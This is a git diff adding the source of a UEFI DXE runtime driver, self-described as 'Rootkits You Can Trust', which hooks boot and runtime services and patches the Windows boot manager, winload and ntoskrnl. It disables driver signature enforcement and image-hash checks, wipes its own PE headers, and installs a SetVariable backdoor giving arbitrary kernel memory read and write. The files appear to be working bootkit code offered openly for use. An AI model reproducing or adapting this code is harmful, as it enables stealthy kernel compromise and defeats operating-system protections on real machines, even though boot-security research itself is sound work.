╚══════╝ ╚════╝ ╚════╝╚═╝ " \ + L"\r\n " \ + L"\r\n Rootkits You Can Trust (TM) \r\n" + + +// +// (Un)hooks a service table pointer, replacing its value with NewFunction and returning the original address. +// +VOID* +SetServicePointer( + IN OUT EFI_TABLE_HEADER *ServiceTableHeader, + IN OUT VOID **ServiceTableFunction, + IN VOID *NewFunction + ) +{ + if (ServiceTableFunction == NULL || NewFunction == NULL) + return NULL; + + // If this is really needed after boot time at some point the CRC function is easy enough to reimplement + ASSERT(gBS != NULL); + ASSERT(gBS->CalculateCrc32 != NULL); + + CONST EFI_TPL Tpl = gBS->RaiseTPL(TPL_HIGH_LEVEL); // Note: implies cli + + VOID* OriginalFunction = InterlockedCompareExchangePointer(ServiceTableFunction, + *ServiceTableFunction, + NewFunction); + + // Recalculate the table checksum + ServiceTableHeader->CRC32 = 0; + gBS->CalculateCrc32((UINT8*)ServiceTableHeader, ServiceTableHeader->HeaderSize, &ServiceTableHeader->CRC32); + + gBS->RestoreTPL(Tpl); + + return OriginalFunction; +} + +// +// Boot Services LoadImage hook +// +EFI_STATUS +EFIAPI +HookedLoadImage( + IN BOOLEAN BootPolicy, + IN EFI_HANDLE ParentImageHandle, + IN EFI_DEVICE_PATH_PROTOCOL *DevicePath, + IN VOID *SourceBuffer OPTIONAL, + IN UINTN SourceSize, + OUT EFI_HANDLE *ImageHandle + ) +{ + // Try to get a readable file path from the EFI shell protocol if it's available + EFI_SHELL_PROTOCOL* EfiShellProtocol = NULL; + CONST EFI_STATUS EfiShellStatus = gBS->LocateProtocol(&gEfiShellProtocolGuid, + NULL, + (VOID**)&EfiShellProtocol); + CHAR16* ImagePath = NULL; + if (!EFI_ERROR(EfiShellStatus)) + { + ImagePath = EfiShellProtocol->GetFilePathFromDevicePath(DevicePath); + } + if (ImagePath == NULL) + { + ImagePath = ConvertDevicePathToText(DevicePath, TRUE, TRUE); + } + + // We only have a filename to go on at this point. We will determine the final 'is this bootmgfw.efi?' status after the image has been loaded + CONST BOOLEAN MaybeBootmgfw = ImagePath != NULL + ? (StrStr(ImagePath, L"bootmgfw.efi") != NULL || StrStr(ImagePath, L"BOOTMGFW.EFI") != NULL || + StrStr(ImagePath, L"bootx64.efi") != NULL || StrStr(ImagePath, L"BOOTX64.EFI") != NULL) + : FALSE; + CONST BOOLEAN IsBoot = (MaybeBootmgfw || (BootPolicy == TRUE && SourceBuffer == NULL)); + + // Print what's being loaded or booted + CONST INT32 OriginalAttribute = SetConsoleTextColour(EFI_GREEN, FALSE); + Print(L"[HookedLoadImage] %S %S\r\n (ParentImageHandle = %llx)\r\n", + (IsBoot ? L"Booting" : L"Loading"), ImagePath, (UINTN)ParentImageHandle); + if (ImagePath != NULL) + FreePool(ImagePath); + RtlSleep(500); + + // Q: If we loaded bootmgfw.efi manually, is there any benefit to flipping BootPolicy to TRUE + // to make it look like the load request came straight from the boot manager? + if (MaybeBootmgfw) + { + // Let's find out + BootPolicy = TRUE; + } + + // Load the image + CONST EFI_STATUS Status = mOriginalLoadImage(BootPolicy, + ParentImageHandle, + DevicePath, + SourceBuffer, + SourceSize, + ImageHandle); + + // Was this a successful load of an image that's being booted? + if (!EFI_ERROR(Status) && IsBoot && *ImageHandle != NULL) + { + // Get loaded image info + EFI_LOADED_IMAGE_PROTOCOL *LoadedImage = NULL; + CONST EFI_STATUS ImageInfoStatus = gBS->OpenProtocol(*ImageHandle, + &gEfiLoadedImageProtocolGuid, + (VOID**)&LoadedImage, + gImageHandle, + NULL, + EFI_OPEN_PROTOCOL_GET_PROTOCOL); + if (EFI_ERROR(ImageInfoStatus)) + { + Print(L"\r\nHookedLoadImage: failed to get loaded image info. Status: %llx (%r)\r\n", + ImageInfoStatus, ImageInfoStatus); + } + else + { + // Determine the type of file we're loading + CONST INPUT_FILETYPE FileType = GetInputFileType((UINT8*)LoadedImage->ImageBase, LoadedImage->ImageSize); + ASSERT(FileType == Unknown || FileType == Bootmgr || FileType == BootmgfwEfi); + + if (FileType == BootmgfwEfi) + { + // This is bootmgfw.efi. Save the returned image handle + gBootmgfwHandle = *ImageHandle; + LoadedImage->ParentHandle = NULL; + + // Print image info + PrintLoadedImageInfo(LoadedImage); + + // Nuke it dot it + PatchBootManager(FileType, + LoadedImage->ImageBase, + LoadedImage->ImageSize); + } + } + } + + gST->ConOut->SetAttribute(gST->ConOut, OriginalAttribute); + gST->ConOut->EnableCursor(gST->ConOut, FALSE); + + return Status; +} + +// +// Runtime Services SetVariable hook +// +EFI_STATUS +EFIAPI +HookedSetVariable( + IN CHAR16 *VariableName, + IN EFI_GUID *VendorGuid, + IN UINT32 Attributes, + IN UINTN DataSize, + IN VOID *Data + ) +{ + // We should not be hooking the runtime table after ExitBootServices() unless this is the selected DSE bypass method + ASSERT(!gEfiAtRuntime || gDriverConfig.DseBypassMethod == DSE_DISABLE_SETVARIABLE_HOOK); + + // Do we have a match for the variable name and vendor GUID? + if (gEfiAtRuntime && gEfiGoneVirtual && + VariableName != NULL && VariableName[0] != CHAR_NULL && VendorGuid != NULL && + CompareGuid(VendorGuid, EFIGUARD_BACKDOOR_VARIABLE_GUID) && + StrnCmp(VariableName, EFIGUARD_BACKDOOR_VARIABLE_NAME, (sizeof(EFIGUARD_BACKDOOR_VARIABLE_NAME) / sizeof(CHAR16)) - 1) == 0) + { + // Yep. Do we have any data? + if (DataSize == 0 && Data == NULL) + { + // Nope. This is the first SetVariable() call from the HAL, intended to wipe the variable. + // (This call may be skipped if EFI_VARIABLE_APPEND_WRITE is set, but this is version-dependent) + return EFI_SUCCESS; + } + + if ((Attributes & EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES) == EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES && + DataSize == EFIGUARD_BACKDOOR_VARIABLE_DATASIZE && + Data != NULL) + { + // Yep, and Attributes and DataSize are correct. Check if *Data is a valid input for a backdoor read/write operation + EFIGUARD_BACKDOOR_DATA* BackdoorData = (EFIGUARD_BACKDOOR_DATA*)Data; + if (BackdoorData->CookieValue == EFIGUARD_BACKDOOR_COOKIE_VALUE && + BackdoorData->Size > 0 && + (UINTN)BackdoorData->KernelAddress >= (UINTN)MM_SYSTEM_RANGE_START) + { + if (BackdoorData->IsMemCopy && BackdoorData->u.UserBuffer != NULL) + { + if (BackdoorData->IsReadOperation) // Copy kernel buffer to user address + CopyMem(BackdoorData->u.UserBuffer, BackdoorData->KernelAddress, BackdoorData->Size); + else // Copy user buffer to kernel address + CopyMem(BackdoorData->KernelAddress, BackdoorData->u.UserBuffer, BackdoorData->Size); + } + else + { + // Copy user scalar to kernel memory, and put the old value in BackdoorData->u.XXX + switch (BackdoorData->Size) + { + case 1: + { + CONST UINT8 NewByte = (UINT8)BackdoorData->u.s.Byte; + BackdoorData->u.s.Byte = *(UINT8*)BackdoorData->KernelAddress; + if (!BackdoorData->IsReadOperation) + *(UINT8*)BackdoorData->KernelAddress = NewByte; + break; + } + case 2: + { + CONST UINT16 NewWord = (UINT16)BackdoorData->u.s.Word; + BackdoorData->u.s.Word = *(UINT16*)BackdoorData->KernelAddress; + if (!BackdoorData->IsReadOperation) + *(UINT16*)BackdoorData->KernelAddress = NewWord; + break; + } + case 4: + { + CONST UINT32 NewDword = (UINT32)BackdoorData->u.s.Dword; + BackdoorData->u.s.Dword = *(UINT32*)BackdoorData->KernelAddress; + if (!BackdoorData->IsReadOperation) + *(UINT32*)BackdoorData->KernelAddress = NewDword; + break; + } + case 8: + { + CONST UINT64 NewQword = (UINT64)BackdoorData->u.Qword; + BackdoorData->u.Qword = *(UINT64*)BackdoorData->KernelAddress; + if (!BackdoorData->IsReadOperation) + *(UINT64*)BackdoorData->KernelAddress = NewQword; + break; + } + default: + break; // Invalid size; do nothing + } + } + + // Backdoor complete + return EFI_SUCCESS; + } + //else { /*Invalid EFIGUARD_BACKDOOR_DATA* provided*/ } + } + //else { /*Data is NULL, or DataSize/Attributes mismatch*/ } + } + //else { /*Not our variable name + vendor GUID, or SetVirtualAddressMap() has not been called yet*/ } + + return mOriginalSetVariable(VariableName, VendorGuid, Attributes, DataSize, Data); +} + +// +// ExitBootServices callback +// +VOID +EFIAPI +ExitBootServicesEvent( + IN EFI_EVENT Event, + IN VOID* Context + ) +{ + // Close this event now. The boot loader only calls this once. + gBS->CloseEvent(gEfiExitBootServicesEvent); + gEfiExitBootServicesEvent = NULL; + + // The message buffer may be empty if the patch process was aborted in one of the earlier stages + if (gKernelPatchInfo.Buffer[0] != CHAR_NULL) + { + CONST EFI_STATUS Status = gKernelPatchInfo.Status; + CONST INT32 OriginalAttribute = gST->ConOut->Mode->Attribute; + if (Status == EFI_SUCCESS) + { + SetConsoleTextColour(EFI_GREEN, TRUE); + PrintKernelPatchInfo(); + Print(L"\r\nSuccessfully patched ntoskrnl.exe.\r\n"); + + if (gDriverConfig.WaitForKeyPress) + { + Print(L"\r\nPress any key to continue.\r\n"); + WaitForKey(); + } + } + else + { + // Patch failed. Most important stuff first: make a fake BSOD, because... reasons + // TODO if really bored: use GOP to set the BG colour on the whole screen. + // Could add one of those obnoxious Win 10 :( smileys and a QR code + gST->ConOut->SetAttribute(gST->ConOut, EFI_WHITE | EFI_BACKGROUND_BLUE); + gST->ConOut->ClearScreen(gST->ConOut); + + Print(L"A problem has been detected and Windows has been paused to prevent damage\r\nto your botnets.\r\n\r\n" + L"BOOTKIT_KERNEL_PATCH_FAILED\r\n\r\n" + L"Technical information:\r\n\r\n*** STOP: 0X%llX (%r, 0x%p)\r\n\r\n", + Status, Status, gKernelPatchInfo.KernelBase); + PrintKernelPatchInfo(); + + // Give time for user to register their loss and allow for the grieving process to set in + RtlSleep(2000); + + // Prompt user to ask what they want to do + Print(L"\r\nPress any key to continue anyway, or press ESC to reboot.\r\n"); + if (!WaitForKey()) + { + gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL); + } + } + + gST->ConOut->SetAttribute(gST->ConOut, OriginalAttribute); + if (Status != EFI_SUCCESS) + gST->ConOut->ClearScreen(gST->ConOut); + } + + // If the DSE bypass method is *not* DSE_DISABLE_SETVARIABLE_HOOK, perform some cleanup now. In principle this should allow + // linking with /SUBSYSTEM:EFI_BOOT_SERVICE_DRIVER, because our driver image may be freed after this callback returns. + // Using DSE_DISABLE_SETVARIABLE_HOOK requires linking with /SUBSYSTEM:EFI_RUNTIME_DRIVER, because the image must not be freed. + if (gDriverConfig.DseBypassMethod != DSE_DISABLE_SETVARIABLE_HOOK) + { + // Uninstall our installed driver protocols + gBS->UninstallMultipleProtocolInterfaces(gImageHandle, + &gEfiGuardDriverProtocolGuid, + &gEfiGuardDriverProtocol, + &gEfiDriverSupportedEfiVersionProtocolGuid, + &gEfiGuardSupportedEfiVersion, + NULL); + + // Unregister SetVirtualAddressMap() notification + if (gEfiVirtualNotifyEvent != NULL) + { + gBS->CloseEvent(gEfiVirtualNotifyEvent); + gEfiVirtualNotifyEvent = NULL; + } + + // Unhook gRT->SetVariable + if (mOriginalSetVariable != NULL) + { + SetServicePointer(&gRT->Hdr, (VOID**)&gRT->SetVariable, (VOID*)mOriginalSetVariable); + mOriginalSetVariable = NULL; + } + } + + // Regardless of which OS is being booted, boot services won't be available after this callback returns + gBS = NULL; + mOriginalLoadImage = NULL; + gEfiAtRuntime = TRUE; +} + +// +// SetVirtualAddressMap callback +// +VOID +EFIAPI +SetVirtualAddressMapEvent( + IN EFI_EVENT Event, + IN VOID* Context + ) +{ + ASSERT(gEfiAtRuntime == TRUE); + ASSERT(gBS == NULL); + gEfiVirtualNotifyEvent = NULL; + + // Convert the original SetVariable pointer to virtual so our hook will continue to work + EFI_STATUS Status = gRT->ConvertPointer(0, (VOID**)&mOriginalSetVariable); + ASSERT_EFI_ERROR(Status); + + // Convert the runtime services pointer itself from physical to virtual + Status = gRT->ConvertPointer(0, (VOID**)&gRT); + ASSERT_EFI_ERROR(Status); + + // Set the flag indicating virtual addressing mode has been entered + gEfiGoneVirtual = TRUE; +} + +EFI_STATUS +EFIAPI +DriverConfigure( + IN EFIGUARD_CONFIGURATION_DATA* ConfigurationData + ) +{ + // Do not allow configure if we are at runtime, or if the Windows boot manager has been loaded + if (gEfiAtRuntime || gBootmgfwHandle != NULL) + return EFI_ACCESS_DENIED; + + if (ConfigurationData == NULL) + return EFI_INVALID_PARAMETER; + + gDriverConfig = *ConfigurationData; + + Print(L"Configuration data accepted.\r\n\r\n"); + + return EFI_SUCCESS; +} + +// +// Driver unload +// +EFI_STATUS +EFIAPI +EfiGuardUnload( + IN EFI_HANDLE ImageHandle + ) +{ + // Do not allow unload if we are at runtime, or if the Windows boot manager has been loaded + if (gEfiAtRuntime || gBootmgfwHandle != NULL) + { + return EFI_ACCESS_DENIED; + } + + ASSERT(gBS != NULL); + + // Uninstall our installed driver protocols + gBS->UninstallMultipleProtocolInterfaces(gImageHandle, + &gEfiGuardDriverProtocolGuid, + &gEfiGuardDriverProtocol, + &gEfiDriverSupportedEfiVersionProtocolGuid, + &gEfiGuardSupportedEfiVersion, + NULL); + + // Unregister SetVirtualAddressMap() notification + if (gEfiVirtualNotifyEvent != NULL) + { + gBS->CloseEvent(gEfiVirtualNotifyEvent); + gEfiVirtualNotifyEvent = NULL; + } + + // Unregister ExitBootServices() notification + if (gEfiExitBootServicesEvent != NULL) + { + gBS->CloseEvent(gEfiExitBootServicesEvent); + gEfiExitBootServicesEvent = NULL; + } + + // Unhook gRT->SetVariable + if (mOriginalSetVariable != NULL) + { + SetServicePointer(&gRT->Hdr, (VOID**)&gRT->SetVariable, (VOID*)mOriginalSetVariable); + mOriginalSetVariable = NULL; + } + + // Unhook gBS->LoadImage + if (mOriginalLoadImage != NULL) + { + SetServicePointer(&gBS->Hdr, (VOID**)&gBS->LoadImage, (VOID*)mOriginalLoadImage); + mOriginalLoadImage = NULL; + } + + return EFI_SUCCESS; +} + +// +// Main entry point +// +EFI_STATUS +EFIAPI +EfiGuardInitialize( + IN EFI_HANDLE ImageHandle, + IN EFI_SYSTEM_TABLE *SystemTable + ) +{ + ASSERT(ImageHandle == gImageHandle); + + // Check if we're not already loaded. + EFIGUARD_DRIVER_PROTOCOL* EfiGuardDriverProtocol; + EFI_STATUS Status = gBS->LocateProtocol(&gEfiGuardDriverProtocolGuid, + NULL, + (VOID**)&EfiGuardDriverProtocol); + if (Status != EFI_NOT_FOUND) + { + Print(L"An instance of the driver is already loaded.\r\n"); + return EFI_ALREADY_STARTED; + } + + // + // Install supported EFI version protocol + // + Status = gBS->InstallMultipleProtocolInterfaces(&gImageHandle, + &gEfiDriverSupportedEfiVersionProtocolGuid, + &gEfiGuardSupportedEfiVersion, + NULL); + if (EFI_ERROR(Status)) + { + Print(L"Failed to install EFI Driver Supported Version protocol. Error: %llx (%r)\r\n", Status, Status); + return Status; + } + + // + // Install EfiGuard driver protocol + // + Status = gBS->InstallProtocolInterface(&gImageHandle, + &gEfiGuardDriverProtocolGuid, + EFI_NATIVE_INTERFACE, + &gEfiGuardDriverProtocol); + if (EFI_ERROR(Status)) + goto Exit; + + // + // Clear screen and print header + // + CONST INT32 OriginalAttribute = SetConsoleTextColour(EFI_GREEN, TRUE); + Print(L"\r\n\r\n"); + Print(L"%S", EFIGUARD_TITLE1); + Print(L"%S", EFIGUARD_TITLE2); + gST->ConOut->SetAttribute(gST->ConOut, OriginalAttribute); + + EFI_LOADED_IMAGE_PROTOCOL *LocalImageInfo; + Status = gBS->OpenProtocol(gImageHandle, + &gEfiLoadedImageProtocolGuid, + (VOID**)&LocalImageInfo, + gImageHandle, + NULL, + EFI_OPEN_PROTOCOL_GET_PROTOCOL); + if (EFI_ERROR(Status)) + goto Exit; + + PrintLoadedImageInfo(LocalImageInfo); + + // + // Hook gBS->LoadImage + // + mOriginalLoadImage = (EFI_IMAGE_LOAD)SetServicePointer(&gBS->Hdr, (VOID**)&gBS->LoadImage, (VOID*)&HookedLoadImage); + Print(L"Hooked gBS->LoadImage: 0x%p -> 0x%p\r\n", (VOID*)mOriginalLoadImage, (VOID*)&HookedLoadImage); + + // + // Hook gRT->SetVariable + // + mOriginalSetVariable = (EFI_SET_VARIABLE)SetServicePointer(&gRT->Hdr, (VOID**)&gRT->SetVariable, (VOID**)&HookedSetVariable); + Print(L"Hooked gRT->SetVariable: 0x%p -> 0x%p\r\n", (VOID*)mOriginalSetVariable, (VOID*)&HookedSetVariable); + + // Register notification callback for ExitBootServices() + Status = gBS->CreateEventEx(EVT_NOTIFY_SIGNAL, + TPL_NOTIFY, + ExitBootServicesEvent, + NULL, + &gEfiEventExitBootServicesGuid, + &gEfiExitBootServicesEvent); + if (EFI_ERROR(Status)) + goto Exit; + + // Register notification callback for SetVirtualAddressMap() + Status = gBS->CreateEventEx(EVT_NOTIFY_SIGNAL, + TPL_NOTIFY, + SetVirtualAddressMapEvent, + NULL, + &gEfiEventVirtualAddressChangeGuid, + &gEfiVirtualNotifyEvent); + if (EFI_ERROR(Status)) + goto Exit; + + // Initialize the global kernel patch info struct. + gKernelPatchInfo.Status = EFI_SUCCESS; + gKernelPatchInfo.BufferSize = 0; + SetMem64(gKernelPatchInfo.Buffer, sizeof(gKernelPatchInfo.Buffer), 0ULL); + gKernelPatchInfo.LegacyLoaderBlock = FALSE; + gKernelPatchInfo.KernelBase = NULL; + + // Wipe our image info and PE headers + LocalImageInfo->DeviceHandle = LocalImageInfo->FilePath = LocalImageInfo->ParentHandle = NULL; + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = RtlpImageNtHeaderEx(LocalImageInfo->ImageBase, LocalImageInfo->ImageSize); + ZeroMem(LocalImageInfo->ImageBase, NtHeaders->OptionalHeader.SizeOfHeaders); + + // The ASCII banner is very pretty - ensure the user has enough time to admire it + RtlSleep(1500); + +Exit: + if (EFI_ERROR(Status)) + { + Print(L"\r\nEfiGuardDxe initialization failed with status %llx (%r)\r\n", Status, Status); + + // Because we do not use the driver binding protocol, recovering from a failed load is simple. + // We can just call the unload function, which will only unload that which was actually installed. + EfiGuardUnload(gImageHandle); + } + return Status; +} diff --git a/EfiGuardDxe/EfiGuardDxe.h b/EfiGuardDxe/EfiGuardDxe.h new file mode 100644 index 0000000..e26dc5e --- /dev/null +++ b/EfiGuardDxe/EfiGuardDxe.h @@ -0,0 +1,223 @@ +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include +#include "ntdef.h" +#include "pe.h" +#include "arc.h" +#include "util.h" + +#ifdef __cplusplus +extern "C" { +#endif + +// +// EfiGuard driver protocol handle +// +extern EFIGUARD_DRIVER_PROTOCOL gEfiGuardDriverProtocol; + +// +// Driver configuration data +// +extern EFIGUARD_CONFIGURATION_DATA gDriverConfig; + +// +// Bootmgfw.efi handle +// +extern EFI_HANDLE gBootmgfwHandle; + +// +// TRUE if ExitBootServices() has been called +// +extern BOOLEAN gEfiAtRuntime; + +// +// TRUE if SetVirtualAddressMap() has been called +// +extern BOOLEAN gEfiGoneVirtual; + +// +// Universal template bytes for a faux call inline hook (mov [e|r]ax, , push [e|r]ax, ret) +// +extern CONST UINT8 gHookTemplate[(sizeof(VOID*) / 4) + sizeof(VOID*) + 2]; + + +// +// [bootmgfw|bootmgr]!ImgArch[Efi]StartBootApplication hook to patch either winload.efi or bootmgr.efi +// This function was named ImgArchEfiStartBootApplication on versions <= 10.0.16299.0, later simply ImgArchStartBootApplication. +// +// Windows Vista/7 prototype +typedef +EFI_STATUS +(EFIAPI* +t_ImgArchStartBootApplication_Vista)( + IN PBL_APPLICATION_ENTRY AppEntry, + IN VOID* ImageBase, + IN UINT32 ImageSize, + OUT PBL_RETURN_ARGUMENTS ReturnArguments + ); + +// Windows 8+ prototype +typedef +EFI_STATUS +(EFIAPI* +t_ImgArchStartBootApplication_Eight)( + IN PBL_APPLICATION_ENTRY AppEntry, + IN VOID* ImageBase, + IN UINT32 ImageSize, + IN UINT32 BootOption, + OUT PBL_RETURN_ARGUMENTS ReturnArguments + ); + +extern VOID* /*t_ImgArchStartBootApplication_XX*/ gOriginalBootmgfwImgArchStartBootApplication; +extern UINT8 gBootmgfwImgArchStartBootApplicationBackup[sizeof(gHookTemplate)]; + +// This is only used if bootmgr.efi is invoked during the boot process +extern VOID* /*t_ImgArchStartBootApplication_XX*/ gOriginalBootmgrImgArchStartBootApplication; +extern UINT8 gBootmgrImgArchStartBootApplicationBackup[sizeof(gHookTemplate)]; + + +// +// Patches the Windows Boot Manager: either bootmgfw.efi or bootmgr.efi; normally the former unless booting a WIM file +// +EFI_STATUS +EFIAPI +PatchBootManager( + IN INPUT_FILETYPE FileType, + IN VOID* ImageBase, + IN UINTN ImageSize + ); + + +// +// winload!OslFwpKernelSetupPhase1 hook +// +typedef +EFI_STATUS +(EFIAPI* +t_OslFwpKernelSetupPhase1)( + IN PLOADER_PARAMETER_BLOCK LoaderBlock + ); + +extern t_OslFwpKernelSetupPhase1 gOriginalOslFwpKernelSetupPhase1; +extern UINT8 gOslFwpKernelSetupPhase1Backup[sizeof(gHookTemplate)]; + +EFI_STATUS +EFIAPI +HookedOslFwpKernelSetupPhase1( + IN PLOADER_PARAMETER_BLOCK LoaderBlock + ); + + +// +// Patches winload.efi +// +EFI_STATUS +EFIAPI +PatchWinload( + IN VOID* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ); + +// +// Patches ImgpValidateImageHash in bootmgfw.efi, bootmgr.efi, and winload.[efi|exe] +// This patch is completely optional, unless you want to boot a custom kernel or winload image. +// It is applied if possible, but failures are ignored. +// +EFI_STATUS +EFIAPI +PatchImgpValidateImageHash( + IN INPUT_FILETYPE FileType, + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ); + +// +// Patches ImgpFilterValidationFailure in bootmgfw.efi, bootmgr.efi, and winload.[efi|exe] +// This patch is completely optional, unless you want to boot a custom kernel or winload image. +// It is applied if possible, but failures are ignored. +// +EFI_STATUS +EFIAPI +PatchImgpFilterValidationFailure( + IN INPUT_FILETYPE FileType, + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ); + +// +// winload!BlStatusPrint. This is not hooked, but used to print debug output to kd or WinDbg +// from the OslFwpKernelSetupPhase1 hook (in which gST->ConOut is no longer available) +// +typedef +NTSTATUS +(EFIAPI* +t_BlStatusPrint)( + IN CONST CHAR16 *Format, + ... + ); + +extern t_BlStatusPrint gBlStatusPrint; + +NTSTATUS +EFIAPI +BlStatusPrintNoop( + IN CONST CHAR16 *Format, + ... + ); + + +// +// Patches ntoskrnl.exe +// +EFI_STATUS +EFIAPI +PatchNtoskrnl( + IN VOID* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ); + + +// +// The kernel patch result. This is used to hold data generated during +// HookedOslFwpKernelSetupPhase1 and PatchNtoskrnl until we can safely access +// boot services to print the output. This is done during the ExitBootServices() callback. +// +// Status holds the final patch status. If this is not EFI_SUCCESS, the buffer holds an +// error message, and the user will be prompted to reboot or continue. +// If Status is EFI_SUCCESS, the buffer holds concatenated patch information similar to what +// is printed during the patching of bootmgfw.efi/bootmgr.efi/winload.efi. +// +typedef struct _KERNEL_PATCH_INFORMATION +{ + EFI_STATUS Status; + UINTN BufferSize; // In bytes, excluding null terminator. This may be 0. The maximum buffer size is simply sizeof(Buffer). + CHAR16 Buffer[8192]; // 8K ought to be enough for everyone + BOOLEAN LegacyLoaderBlock; // TRUE if the loader block provided by winload.efi will be for Vista or older kernels + VOID* KernelBase; +} KERNEL_PATCH_INFORMATION; + +extern KERNEL_PATCH_INFORMATION gKernelPatchInfo; + + +// +// Appends a kernel patch status info or error message to the buffer for delayed printing, +// and prints it to a boot debugger immediately if one is connected. +// +#define PRINT_KERNEL_PATCH_MSG(Fmt, ...) { \ + gBlStatusPrint(Fmt, ##__VA_ARGS__); \ + AppendKernelPatchMessage(Fmt, ##__VA_ARGS__); \ + } + +#ifdef __cplusplus +} +#endif diff --git a/EfiGuardDxe/EfiGuardDxe.inf b/EfiGuardDxe/EfiGuardDxe.inf new file mode 100644 index 0000000..ca63724 --- /dev/null +++ b/EfiGuardDxe/EfiGuardDxe.inf @@ -0,0 +1,85 @@ +[Defines] + INF_VERSION = 0x00010019 + BASE_NAME = EfiGuardDxe + FILE_GUID = 503682AC-F01E-4D10-AAE3-BE5A90A563E7 + MODULE_TYPE = DXE_RUNTIME_DRIVER + VERSION_STRING = 1.0 + + ENTRY_POINT = EfiGuardInitialize + UNLOAD_IMAGE = EfiGuardUnload + +[Sources] + EfiGuardDxe.c + PatchBootmgr.c + PatchNtoskrnl.c + PatchWinload.c + pe.c + util.c + Zydis/src/Decoder.c + Zydis/src/DecoderData.c + Zydis/src/MetaInfo.c + Zydis/src/Mnemonic.c + Zydis/src/Register.c + Zydis/src/SharedData.c + Zydis/src/String.c + Zydis/src/Utils.c + Zydis/src/Zydis.c + +[Packages] + MdePkg/MdePkg.dec + EfiGuardPkg/EfiGuardPkg.dec + MdeModulePkg/MdeModulePkg.dec + # In EDK2 releases older than UDK2017, gEfiShellProtocolGuid is not in MdePkg but in ShellPkg. + # ShellPkg/ShellPkg.dec + +[LibraryClasses] + UefiDriverEntryPoint + UefiBootServicesTableLib + UefiRuntimeServicesTableLib + DebugLib + UefiLib + BaseMemoryLib + DevicePathLib + SynchronizationLib + MemoryAllocationLib + PrintLib + +[Protocols] + gEfiGuardDriverProtocolGuid ## PRODUCES + gEfiDriverSupportedEfiVersionProtocolGuid ## PRODUCES + gEfiDevicePathToTextProtocolGuid ## CONSUMES + gEfiDevicePathUtilitiesProtocolGuid ## CONSUMES + gEfiLoadedImageProtocolGuid ## CONSUMES + gEfiShellProtocolGuid ## SOMETIMES_CONSUMES + +[Guids] + gEfiGlobalVariableGuid ## SOMETIMES_PRODUCES + gEfiEventExitBootServicesGuid ## CONSUMES + gEfiEventVirtualAddressChangeGuid ## CONSUMES + gEfiAcpi20TableGuid ## SOMETIMES_CONSUMES + +[Depex] + gEfiSimpleTextOutProtocolGuid AND + gEfiLoadedImageProtocolGuid AND + gEfiVariableArchProtocolGuid AND + gEfiVariableWriteArchProtocolGuid AND + gEfiResetArchProtocolGuid AND + gEfiBdsArchProtocolGuid AND + gEfiRuntimeArchProtocolGuid + +[BuildOptions.Common] + # Put Zydis on a diet + *_*_*_CC_FLAGS = -D ZYAN_UEFI -D ZYAN_NO_LIBC -D ZYCORE_STATIC_DEFINE -D ZYDIS_STATIC_DEFINE -D ZYDIS_DISABLE_AVX512 -D ZYDIS_DISABLE_KNC -D ZYDIS_DISABLE_FORMATTER + + # This makes the decoder about twice as fast... sorry about the extra 5KB. Oh and usable PDBs please + MSFT:RELEASE_*_*_CC_FLAGS = /O2 /Ot /Zi + INTEL:RELEASE_*_*_CC_FLAGS = /O3 /Ot /Zi /Qopt-report-embed- + + *:DEBUG_*_*_PP_FLAGS = -D EFI_DEBUG + *:DEBUG_*_*_CC_FLAGS = -D EFI_DEBUG + + *:RELEASE_*_*_CC_FLAGS = -D MDEPKG_NDEBUG + +[BuildOptions.common.DXE_RUNTIME_DRIVER] + MSFT:*_*_*_DLINK_FLAGS = /SUBSYSTEM:EFI_RUNTIME_DRIVER,1.0 + INTEL:*_*_*_DLINK_FLAGS = /SUBSYSTEM:EFI_RUNTIME_DRIVER,1.0 diff --git a/EfiGuardDxe/EfiGuardDxe.vcxproj b/EfiGuardDxe/EfiGuardDxe.vcxproj new file mode 100644 index 0000000..3fa60fb --- /dev/null +++ b/EfiGuardDxe/EfiGuardDxe.vcxproj @@ -0,0 +1,96 @@ + + + + + Release + x64 + + + + Win32Proj + {D7484EBA-6357-4D81-B355-066E28D5DF72} + + + + Application + false + $(DefaultPlatformToolset) + true + Unicode + + + + + + + ZYAN_UEFI;ZYAN_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;ZYDIS_DISABLE_AVX512;ZYDIS_DISABLE_KNC;ZYDIS_DISABLE_FORMATTER;%(PreprocessorDefinitions) + $(SolutionDir)Include;Zydis/dependencies/zycore/include;Zydis/include;Zydis/src;Zydis/msvc;%(AdditionalIncludeDirectories) + MaxSpeed + + + UefiDriverEntryPoint.lib;BaseMemoryLib.lib;%(AdditionalDependencies) + EFI Runtime + 4096 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/EfiGuardDxe/EfiGuardDxe.vcxproj.filters b/EfiGuardDxe/EfiGuardDxe.vcxproj.filters new file mode 100644 index 0000000..9d4164d --- /dev/null +++ b/EfiGuardDxe/EfiGuardDxe.vcxproj.filters @@ -0,0 +1,200 @@ + + + + + {2C3B8C5F-45D8-45DC-89D3-F9FB7889C9DA} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {548AA1C9-5601-4F15-B01D-53DC20744039} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {E64B1967-A437-4420-AC18-B9D6B9B1ADF2} + + + {145DB519-2372-49B9-909D-3F2A5D213772} + + + {8E598E8D-FF52-43E7-9FA7-F9CDE9D3F771} + + + {09843B9B-51DC-4418-9585-2ED4BD3F1643} + + + {aa6da080-fea5-447e-8722-35a98038eb4e} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files\Zydis + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files\Zydis\Zycore + 